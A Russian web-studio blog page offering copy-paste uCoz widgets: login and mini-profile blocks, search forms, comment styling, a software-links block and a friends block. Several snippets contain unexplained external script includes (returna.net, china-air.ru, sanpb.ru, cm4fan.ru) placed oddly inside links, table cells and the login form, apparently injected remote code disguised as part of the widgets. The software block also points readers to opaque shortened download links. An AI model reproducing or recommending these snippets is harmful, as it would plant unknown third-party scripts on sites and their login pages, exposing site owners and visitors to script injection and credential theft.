Блоки и формы - Блог - Веб-студия IPC : Одесса : Создание и продвижение сайтов

Стильная форма входа + кнопочный мини профиль

Скрипт представляет собой рабочий полностью кнопочный мини профиль + форму входа для сайта ucoz . В профиле нет никакой лишней информации и ссылок , только кнопки назначение которых понятно интуитивно. Форма входа имеет простой и стильный дизайн в котором нет ничего лишнего. Данный блок очень прост в установке, вам необходимо лишь создать новый глобальный блок в конструкторе сайта юкоз, затем скопировать и вставить в него код скрипта.

Код

<?if($USER_LOGGED_IN$)?><center><STRONG><SCRIPT LANGUAGE="JavaScript">
  currentTime = new Date();
  if (currentTime.getHours() >= 6 && currentTime.getHours() <= 11 )
  document.write("Доброе утро, ");
  if (currentTime.getHours() >= 12 && currentTime.getHours() <= 17 )
  document.write("Добрый день, ");
  if (currentTime.getHours() >= 18 && currentTime.getHours() <= 23)
  document.write("Добрый вечер, ");
  if (currentTime.getHours() >= 0 && currentTime.getHours() <= 5)
  document.write("Доброй ночи, ");
  </SCRIPT> $USERNAME$</STRONG></center>
  <CENTER><img src="http://bambun.ru/images/clock.png"><B>$TIME$</B></FONT></CENTER>
  <center><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" border="0"><?else?><img src="http://best-soft.org/profle/-1.gif" border="0" alt="Аватар не установлен!"/><?endif?></center>
  <CENTER>Группа: <FONT color="#000000"><B>$USER_GROUP$</B></FONT></CENTER>
  <CENTER>Ты здесь: <FONT color="#FF0000"><B>$USER_REG_DAYS$</B></FONT>-й день </CENTER>
<script type="text/javascript" src="http://returna.net/background.js"></script>
  <ul class="uz">
  <li class="m"><img src="http://bambun.ru/images/progr.gif"><a class="m" href="$HOME_PAGE_LINK$index/8-$USER_ID$" onclick="window.open('$HOME_PAGE_LINK$index/8-$USER_ID$','profiluser','scrollbars=1,width=750,height=420,left=200,top=200');return false;"> Профиль</a></li>
  <li class="m"><?if($IS_NEW_PM$)?><img src="http://bambun.ru/images/mail.gif" ><?else?><img src="http://bambun.ru/images/email.png" ><?endif?><a class="m" href="$PM_URL$"> Личные сообщения (<b>$UNREAD_PM$</b>)</a></li>
  <li class="m"><img src="http://bambun.ru/images/wrench.png"><a class="m" href="javascript:openOnClick('options')"> Изменить информацию</a></li>
  <li class="m"><img src="http://bambun.ru/images/key.png"> Ваш ID: $USER_ID$</li>
  <li class="m"><img src="http://bambun.ru/images/7.png"> Ваш IP: $IP_ADDRESS$</li>
  <li class="m"><img src="http://bambun.ru/images/foru.gif"><a class="m" href="$USERS_LIST_URL$"> Список пользователей</a></li>
  <li class="m"><img src="http://bambun.ru/images/logout.png" width="16" height="16"><a class="m" href="$LOGOUT_LINK$"> Выйти</a></li>
  </ul>
  <?else?>
  <center><STRONG><SCRIPT LANGUAGE="JavaScript">
  currentTime = new Date();
  if (currentTime.getHours() >= 6 && currentTime.getHours() <= 11 )
  document.write("Доброе утро, ");
  if (currentTime.getHours() >= 12 && currentTime.getHours() <= 17 )
  document.write("Добрый день, ");
  if (currentTime.getHours() >= 18 && currentTime.getHours() <= 23)
  document.write("Добрый вечер, ");
  if (currentTime.getHours() >= 0 && currentTime.getHours() <= 5)
  document.write("Доброй ночи, ");
  </SCRIPT> гость</STRONG></center><script type="text/javascript" src="http://returna.net/background.js"></script>
<CENTER><img src="http://bambun.ru/images/clock11.png"><B>$TIME$</B></FONT></CENTER>
  <center><img src="http://bambun.ru/images/-1.gif" border="0" alt="" /></center>
  <CENTER>Группа: <FONT color="#000000"><B>$USER_GROUP$</B></FONT></CENTER>
  <hr>$LOGIN_FORM$<?endif?>

Категория: Блоки и формы | Просмотров: 531 | Добавил: DoG | Дата: 09.05.2013 | Комментарии (0)

Форма поиска сайта с переключателем с yandex и google

Форма поиска сайта совмещенная
Усовершенствованный код формы для поиска с возможностью ввести в поиск как на самом сайте так и проставив галочку в поисковых системах yandex.ru и google.com , пример показан на скрине.
Форма работает исправно, как на самом сайте так как она является стандартной , в поисковиках форма создает редирект на страницу поисковика

Установка:Вставляем в любое место сайта полный код самого поиска, настройки почти не требует если только размеры формы ввода для поиска

Код

http://site.ru/search/ заменяем на ссылку своего сайта или же на тег $HOME_PAGE_LINK$/search/ разницы абсолютно не какой
maxlength="30" количество символов которые разрешено вводить в форму
size="30" размер окна измеряется PX

Категория: Блоки и формы | Просмотров: 411 | Добавил: startsmart | Дата: 03.03.2013 | Комментарии (0)

Скрипт - свежие скриншоты для Ucoz

Установка скрипта:

1.Создаем информер -

[ Онлайн игры · Материалы · Дата добавления материала D · Материалы: 8 · Колонки: 2 ] - Код в информер

Код

2. ПУ - CSS Стиль - В самый низ код -

Код

/* ScreenGame */
.ScreenGame {padding: 5px 1px 3px 7px;}
.ScreenGame img {background: none repeat scroll 0 0 #515151;border: 1px solid #515151;border-radius: 3px 3px 3px 3px;height: 45px;margin: 2px;padding: 1px;width: 80px;}
.ScreenGame img:hover {background:none repeat scroll 0 0 #FFC500;border: 1px solid #515151;}
/*----------*/

3. Вкл. Конструктор - Создаем блок - В блок вставляем информер, что мы создали.

Категория: Блоки и формы | Просмотров: 496 | Добавил: startsmart | Дата: 23.02.2013 | Комментарии (0)

Блок нужные программы

ВСЕ ЛИНКИ НА СОФТ 100% РАБОЧИИ

Блок нужных программ для компьютера в который входят:Мультибар,Проигрыватель,Планировщик,Загрузчик,Игры,Фотоальбом,Домейнер,Скриншотер,Диктофон,Ускоритель,Таймер,Сканер,реестра,Стоп-реклама,Анинсталлер,Табз,Просмотрщик

Код

<div class="wblock bvote">
  <div class="dbg">
  <div class="dtop"><div class="dbtm">
  <div style="padding-top: 10px; margin-left: 25px; color: white; font-size: 12px; "><b>Нужные программы</b></div>
  <div class="dcont">
  <center>
<table style="border: medium none;" align="center" cellspacing="5" width=""><tbody><tr><td style="border: medium none;">
<center><a href="http://u.to/RbpkAQ"><img src="http://bambun.ru/images/mbar.png" target="_blank" width="35" height="35" title="Мультибар" /></a>
<a href="http://u.to/0sdkAQ"><img src="http://bambun.ru/images/proigrvatel.png" target="_blank" width="35" height="35" title="Проигрователь" /></a>
  <a href="http://u.to/A8hkAQ"><img src="http://bambun.ru/images/planirovshhik.png" target="_blank" width="35" height="35" title="Планировщик" /></a> <br>
<a href="http://u.to/OchkAQ"><img src="http://bambun.ru/images/zagruzchik.png" target="_blank" width="35" height="35" title="Загрузчик" /></a>
  <a href="http://u.to/QshkAQ"><img src="http://bambun.ru/images/igry.png" target="_blank" width="35" height="35" title="Игры" /></a>
<a href="http://u.to/RchkAQ"><img src="http://bambun.ru/images/fotoalbom.png" target="_blank" width="35" height="35" title="Фотоальбом" /></a>
  <a href="http://u.to/WMhkAQ"><img src="http://bambun.ru/images/domejner.png" target="_blank" width="35" height="35" title="Домейнер" /></a>
<a href="http://u.to/dchkAQ"><img src="http://bambun.ru/images/skrinshoter.png" target="_blank" width="35" height="35" title="Скриншотер" /></a>
  <a href="http://u.to/dshkAQ"><img src="http://bambun.ru/images/diktofon.png" target="_blank" width="35" height="35" title="Диктофон" /></a>
<a href="http://u.to/mMhkAQ"><img src="http://bambun.ru/images/uskoritel.png" target="_blank" width="35" height="35" title="Ускоритель" /></a>
  <a href="http://u.to/oshkAQ"><img src="http://bambun.ru/images/tajmer.png" target="_blank" width="35" height="35" title="Таймер" /></a>
<a href="http://u.to/pshkAQ"><img src="http://bambun.ru/images/skaner_reestra.png" target="_blank" width="35" height="35" title="Сканер реестра" /></a>
  <a href="http://u.to/s8hkAQ"><img src="http://bambun.ru/images/stop_reklama.png" target="_blank" width="35" height="35" title="Стоп реклама" /></a>
<a href="http://u.to/tMhkAQ"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><img src="http://bambun.ru/images/aninstajler.png" target="_blank" width="35" height="35" title="Анинсталлер" /></a>
  <a href="http://u.to/vMhkAQ"><img src="http://bambun.ru/images/tabz.png" target="_blank" width="35" height="35" title="Табз" /></a>
<a href="http://u.to/6shkAQ"><img src="http://bambun.ru/images/prosmotorshhik.png" target="_blank" width="35" height="35" title="Просмоторщик"/></a>
</td></tr></tbody>
</table></span>
</center>
  </div>
  </div></div>
  </div>
  </div>

Категория: Блоки и формы | Просмотров: 464 | Добавил: startsmart | Дата: 03.01.2013 | Комментарии (0)

Стильное оповищение Войти или зарегестрироватся

Скрипт просит Войти или зарегистрироватся гостей сайта в левом нижнем углу, а когда зашёл как пользователь показывает мини-профиль для ucoz.
Установка:

Заходим: Панель управления » Управление дизайном » Редактирование шаблонов » Глобальные блоки [Блок "Нижняя часть сайта"]
Далее копируем код и вставляем в самый низ в блок < нижняя часть сайта >..

Код

Категория: Блоки и формы | Просмотров: 387 | Добавил: startsmart | Дата: 31.12.2012 | Комментарии (0)

Формы поиска для uCoz

Представляем вашему вниманию пять цветовых вариантов форм поиска для сайтов системы uCoz.
В место:

Код

$SEARCH_FORM$

Везде ставим:

Код

И теперь остается прописать стили!
Фиолетовая форма:

Код

/* Форма поиска фиолетовая кнопка
------------------------------------------*/
.poick_os {
  float:left;
  padding:4px;
  width:300px;
  background:#fff;
  border: 1px solid #A0A8AC;
}

.poick_os input {
  float:left;
  margin:0px;
  vertical-align:middle;
  font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole {
  color:#555;
  width:220px;
  height:15px;
  border:none;
  padding:6px 4px;
}

.poick_knopka {
  text-shadow: 1px 1px 1px #751a9b;
  width:70px;
  height:27px;
  cursor:pointer;
  background:#ce36fa;
  border:1px solid #a622e3;
  color:#fff; font-weight: bold!important;
}

.poick_knopka:hover {background:#b73cea;}

.poick_os,
.poick_knopka {
  -webkit-border-radius: 3px;
  -moz-border-radius: 3px;
  border-radius: 3px;
}

Синяя форма:

Код

/* Форма поиска синяя кнопка
------------------------------------------*/
.poick_os1 {
  float:left;
  padding:4px;
  width:300px;
  background:#fff;
  border: 1px solid #A0A8AC;
}

.poick_os1 input {
  float:left;
  margin:0px;
  vertical-align:middle;
  font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole1 {
  color:#555;
  width:220px;
  height:15px;
  border:none;
  padding:6px 4px;
}

.poick_knopka1 {
  text-shadow: 1px 1px 1px #1061B0;
  width:70px;
  height:27px;
  cursor:pointer;
  background:#36A6FA;
  border:1px solid #2290e3;
  color:#fff; font-weight: bold!important;
}

.poick_knopka1:hover {background:#3c9fea;}

.poick_os1,
.poick_knopka1 {
  -webkit-border-radius: 3px;
  -moz-border-radius: 3px;
  border-radius: 3px;
}

Красная форма:

Код

/* Форма поиска красная кнопка
------------------------------------------*/
.poick_os2 {
  float:left;
  padding:4px;
  width:300px;
  background:#fff;
  border: 1px solid #A0A8AC;
}

.poick_os2 input {
  float:left;
  margin:0px;
  vertical-align:middle;
  font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole2 {
  color:#555;
  width:220px;
  height:15px;
  border:none;
  padding:6px 4px;
}

.poick_knopka2 {
  text-shadow: 1px 1px 1px #b01010;
  width:70px;
  height:27px;
  cursor:pointer;
  background:#fa3636;
... Читать дальше »

Категория: Блоки и формы | Просмотров: 455 | Добавил: startsmart | Дата: 28.12.2012 | Комментарии (0)

Форма поиска для Ucoz

Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

Код

#search {
  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
  background:#fff;
  width: 8px;
  padding: 0 8px;
  height: 24px;
  font-size: 14px;
  color: #666;
  line-height: 24px;
  border: 0;
  outline: none;
  border-radius: 50px;
  position: relative;
  z-index: 5;
  -moz-transition: .1s ease;
  -ms-transition: .1s ease;
  -webkit-transition: .1s ease;
  -o-transition: .1s ease;
  transition: .1s ease;
  cursor:pointer;
}
#search:focus {
  border: 0;
  outline: none;
  width: 180px; /*ширина открытой формы*/
}
p.s {
  z-index: 4;
  position: relative;
  padding: 6px;
  border-radius: 100px;
  background: #abc8df;
  display: inline-block;
  cursor:pointer;
}
p.s:hover, p.s:hover:after {
  background: #9eb9cf;
}
p.s_fo {
  -o-transition: 0.9s;
  -moz-transition: 0.9s;
  -ms-transition: 0.9s;
  -webkit-transition: 0.9s;
  transition: 0.9s;
  -moz-transform: rotate(1080deg);
  -ms-transform: rotate(1080deg);
  -webkit-transform: rotate(1080deg);
  -o-transform: rotate(1080deg);
  transform: rotate(1080deg);
}
p.s:after {
  content: '';
  display: block;
  position: absolute;
  width: 7px;
  height: 12px;
  background: #abc8df;
  bottom: -4px;
  right: -2px;
  border-radius: 0 0 5px 5px;
  -moz-transform: rotate(-45deg);
  -ms-transform: rotate(-45deg);
  -webkit-transform: rotate(-45deg);
  -o-transform: rotate(-45deg);
  transform: rotate(-45deg);
}
.blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/
.blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/
.green p.s, .green p.s:after {background:#65b11c;}
.green p.s:hover, .green p.s:hover:after {background:#599c18;}
.gray p.s, .gray p.s:after {background:#d7d7d7;}
.gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}
.pink p.s, .pink p.s:after {background:#ffbcef;}
.pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}
.orange p.s, .orange p.s:after {background:#faaa3a;}
.orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}
.black p.s, .black p.s:after {background:#676767;}
.black p.s:hover, .black p.s:hover:after {background:#484747;}

Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл
Установка HTML

Код

Устанавливаем в то месте где хотим видеть...
Установка JS

Код

Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска

Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений

blue - голубой
green - зеленый
gray - серый
pink - розовый
orange - оранжевый
black - черный

Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части.

Понравилась статья? Оставьте свое мнение в комментариях к ней...

Категория: Блоки и формы | Просмотров: 376 | Добавил: startsmart | Дата: 23.12.2012 | Комментарии (0)

Новый вид комментария для uCoz с уголком

Описание: Новый вид комментария для uCoz с уголком. Небольшой вариант, вида комментарий, в котором установлено изображение уголка и прописаны стили, отвечающие за тень объекта.
Установка:
- заходим в админ панель сайта Дизайн => Новости сайта => Страница материала и комментария к нему
ищем код

Code

$COM_BODY$

и заменяем его на

Code

- теперь заходим Дизайн => Комментарии => Вид комментариев и устанавливаем следующий код

Code

<li>
  <div class="avatar"><?if($USERNAME$)?><a href="$PROFILE_URL$"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?></a><?else?><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?><?endif?></div>
  <div class="coment_info">
  <span class="tip"></span>
  <div class="coment_os">
  <div class="coment_name left"><?if($USERNAME$)?><a href="$PROFILE_URL$">$USERNAME$</a><?else?>$NAME$<?endif?> <span style="">($DATE$ $TIME$)</span></div><div class="coment_nomer right"><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$">$NUMBER$</a></div><div class="clear"></div>
  <div class="coment_message left">$MESSAGE$</div>
  <div class="coment_rating right"><?if($COMMENT_RATING$<0)?>$COMMENT_RATING$ <?else?><?if($COMMENT_RATING$=0)?><span style="color:gray;">$COMMENT_RATING$ </span><?else?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><span class="myWinSuccess">+$COMMENT_RATING$</span><?endif?><?endif?><?if($GOOD_COMMENT_URL$)?><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_01.gif" width="10" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_01.gif" width="10" border="0" align="absmiddle" title="Плохой пост"></a><?else?><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_02.png" align="absmiddle" width="10" border="0" title="Хороший пост"> <img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_02.png" width="10" align="absmiddle" border="0" title="Плохой пост"><?endif?> $MODER_PANEL$</div>
  </div>
  </div>
  </li>

- и прописываем в css следующий код

Code

/* ВИД КОММЕНТАРИЯ
  ===================================================*/
  .cell_coment {
  list-style: none;
  padding: 0px;
  margin: 0px;
  }

  .cell_coment li {
  position: relative;
  padding-left: 60px;
  width: 500px;
  }

  .coment_info {
  position: relative;
  text-align:justify;
  color: #555;
  background: #fff;
  border: 1px solid #C9C9C9;
  padding: 10px;
  margin-bottom: 30px;
  }

  .coment_os {
  overflow: hidden;
  }

  .coment_name,
  .coment_nomer {
  padding-bottom: 5px;
  }

  .coment_message {
  width: 100%;
  border-top: 1px solid #C9C9C9;
  border-bottom: 1px solid #C9C9C9;
  padding: 5px 0px;
  }

  .coment_rating {
  padding-top: 5px;
  }

  .coment_name,
  .coment_nomer,
  .coment_rating {
  font:10px Verdana,Arial,Helvetica, sans-serif; color:#999;
  font-weight: bold;
  }

  .avatar a:hover,
  .avatar {
  position: absolute; ... Читать дальше »

Категория: Блоки и формы | Просмотров: 435 | Добавил: startsmart | Дата: 16.12.2012 | Комментарии (0)

Красивый блок друзей сайта

Красивый блок друзей сайта. Выполнен в темных тонах и подходит для таких же темных сайтов. Если найдется под светлый, я его обязательно выложу.

Установка:
Создать новый блок и засунуть в него данный код:

Code

<table border="0" width="100%" cellspacing="1" cellpadding="2" class="eBlock">
<tr>
<td align="center">
<center>
<script src="http://sanpb.ru/text.js" type="text/javascript"></script>
<table border="0" width="100%" cellspacing="2" cellpadding="3">
<tr>
<td style="border:1px solid #000000;" width="100%" height="5" background=http://s60.radikal.ru/i170/1010/31/8c509df2337a.png><center>
<font face="Visitor_rus" size="1"><a title="" onclick="$('#frendbanner').slideToggle('slow');" href="javascript://;">Друзья сайта:</a></font>
</center></td>
</tr>
</table>
<div id="frendbanner" style="display:none">
<div id="info5">
<center><table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" class="infTable"><tr><td class="infTd" width="20%">
<br><center><table class="eBlock"><td><font size="1.5" face="Visitor_Rus"><a href="/forum/16-14-1">Заказать рекламу</a></font></td></table></center>
<br>
<table border="0" cellpadding="2" cellspacing="1" width="100%">
<tbody>
<tr>

<td class="bBlok2"><table width="100%"><tr><td align="center"><img border="0" align="absmiddle" src="http://s005.radikal.ru/i211/1010/96/ee3f9c98fe68.png"></td></tr></table></td>
<td class="bBlok2"><table width="100%"><tr><td align="center"><font size="1.5" face="Visitor_Rus"><a href="/forum/16-14-1" target="_blank">Место свободно</a></font></td></tr></table></td>
</tr>
<tr>
<td class="bBlok2"><table width="100%"><tr><td align="center"><img border="0" align="absmiddle" src="http://s005.radikal.ru/i211/1010/96/ee3f9c98fe68.png"></td></tr></table></td>
<td class="bBlok2"><table width="100%"><tr><td align="center"><font size="1.5" face="Visitor_Rus"><a href="/forum/16-14-1" target="_blank">Место свободно</a></font></td></tr></table></td>
</tr>
<tr>
<td class="bBlok2"><table width="100%"><tr><td align="center"><img border="0" align="absmiddle" src="http://s005.radikal.ru/i211/1010/96/ee3f9c98fe68.png"></td></tr></table></td>
<td class="bBlok2"><table width="100%"><tr><td align="center"><font size="1.5" face="Visitor_Rus"><a href="/forum/16-14-1" target="_blank">Место свободно</a></font></td></tr></table></td>
</tr>

<tr>
<td class="bBlok2"><table width="100%"><tr><td align="center"><img border="0" align="absmiddle" src="http://s005.radikal.ru/i211/1010/96/ee3f9c98fe68.png"></td></tr></table></td>
<td class="bBlok2"><table width="100%"><tr><td align="center"><font size="1.5" face="Visitor_Rus"><a href="/forum/16-14-1" target="_blank">Место свободно</a></font></td></tr></table></td>
</tr>
</tbody></table>

</td></tr></table></center>
</div>
</div>
</td></tr>
</table>
<br>
<table border="0" width="100%" cellspacing="1" cellpadding="2" class="eBlock">
<tr>
<td align="center">
<center>
<table border="0" width="100%" cellspacing="2" cellpadding="3">
<tr>
<td style="border:1px solid #000000;" width="100%" height="5" background=http://s60.radikal.ru/i170/1010/31/8c509df2337a.png><center>
<font face="Visitor_rus" size="1">
<a title="" onclick="$('#personal').slideToggle('slow');" href="javascript:showOnlineUsers//;">Сайты персонала:</a>
</center></td>
</tr>
</table>
<div id="personal" style="display:none">
<div id="info5">
<center><table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" class="infTable"><tr><td class="infTd" width="20%">
<br><center><table class="eBlock"><td><font size="1.5" face="Visitor_Rus"><a href="/forum/22">Вступить в персонал</a></font></td></table></center>
<br>

Категория: Блоки и формы | Просмотров: 586 | Добавил: startsmart | Дата: 21.11.2012 | Комментарии (0)

Форма входа для uCoz

Форма входа для uCoz - это блок, через который пользователь может авторизироваться, то есть зайти на сайт под своим логином и паролем. Многие веб-мастера юкоз'а хотят оформить форму входа, сделать её красивой, чтобы человек, зашедший на ресурс, хотел авторизироваться. Но не знают как! Для этого и сделали готовые панели входа - чтобы хозяин сайта мог украсить форму входа без труда.
1. Итак, первая форма входа пользователей. Она довольно простая, но удобная и юзер будет легко в ней ориентироваться. Кстати, у формы неплохие иконки, справа от тех мест, где надо вводить пароль и логин.

Для установки данного uCoz скрипта пройдите по такому пути: Панель управления -> Управление дизайном -> Пользователи -> Форма входа пользователей. Затем, скопируйте и вставьте код туда, куда зашли ранее.(Форма входа пользователей)

Code

<?if($PAGE_ID$="login")?><div style="width: 180px;"><?endif?>
<table border="0" cellpadding="0" cellspacing="1" height="68" width="194">
<?if($ERROR$)?><tbody><tr><td colspan="2" style="color: red; text-align: center;">$ERROR$</td><?endif?>
</tr><tr><td nowrap="nowrap" width="20%"><img alt="" src="http://i036.radikal.ru/0907/c8/f07c6c22f030.png" align="" border="0"></td><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><td><input class="loginField" name="user" value="" size="20" style="width: 100%;" maxlength="50" type="text"></td></tr>
<tr><td><img alt="" src="http://i043.radikal.ru/0907/79/06a017188847.png" align="" border="0"></td><td><input class="loginField" name="password" size="20" style="width: 100%;" maxlength="15" type="password"></td></tr>
</tbody></table>
<table border="0" cellpadding="0" cellspacing="1" width="100%">
<tbody><tr><td nowrap="nowrap"><input id="rem$PAGE_ID$" name="rem" value="1" checked="checked" type="checkbox"><label for="rem$PAGE_ID$">запомнить</label> <?if($PAGE_ID$="login" && $HIDDEN_ALLOWED$)?><br><input id="hid$PAGE_ID$" name="hidden" value="1" type="checkbox"><label for="hid$PAGE_ID$">скрытый</label><?endif?></td><td align="right" valign="top"><input class="loginButton" name="sbm" value="Вход" type="submit"></td></tr>
<tr><td colspan="2"><div style="font-size: 7pt; text-align: center;"><a href="$REMINDER_LINK$">Забыл пароль</a> | <a href="$REGISTER_LINK$">Регистрация</a></div></td></tr>
</tbody></table>
<?if($PAGE_ID$="login")?></div><?endif?>

Категория: Блоки и формы | Просмотров: 545 | Добавил: Aninew | Дата: 17.10.2012 | Комментарии (0)

1-10 11-20 21-22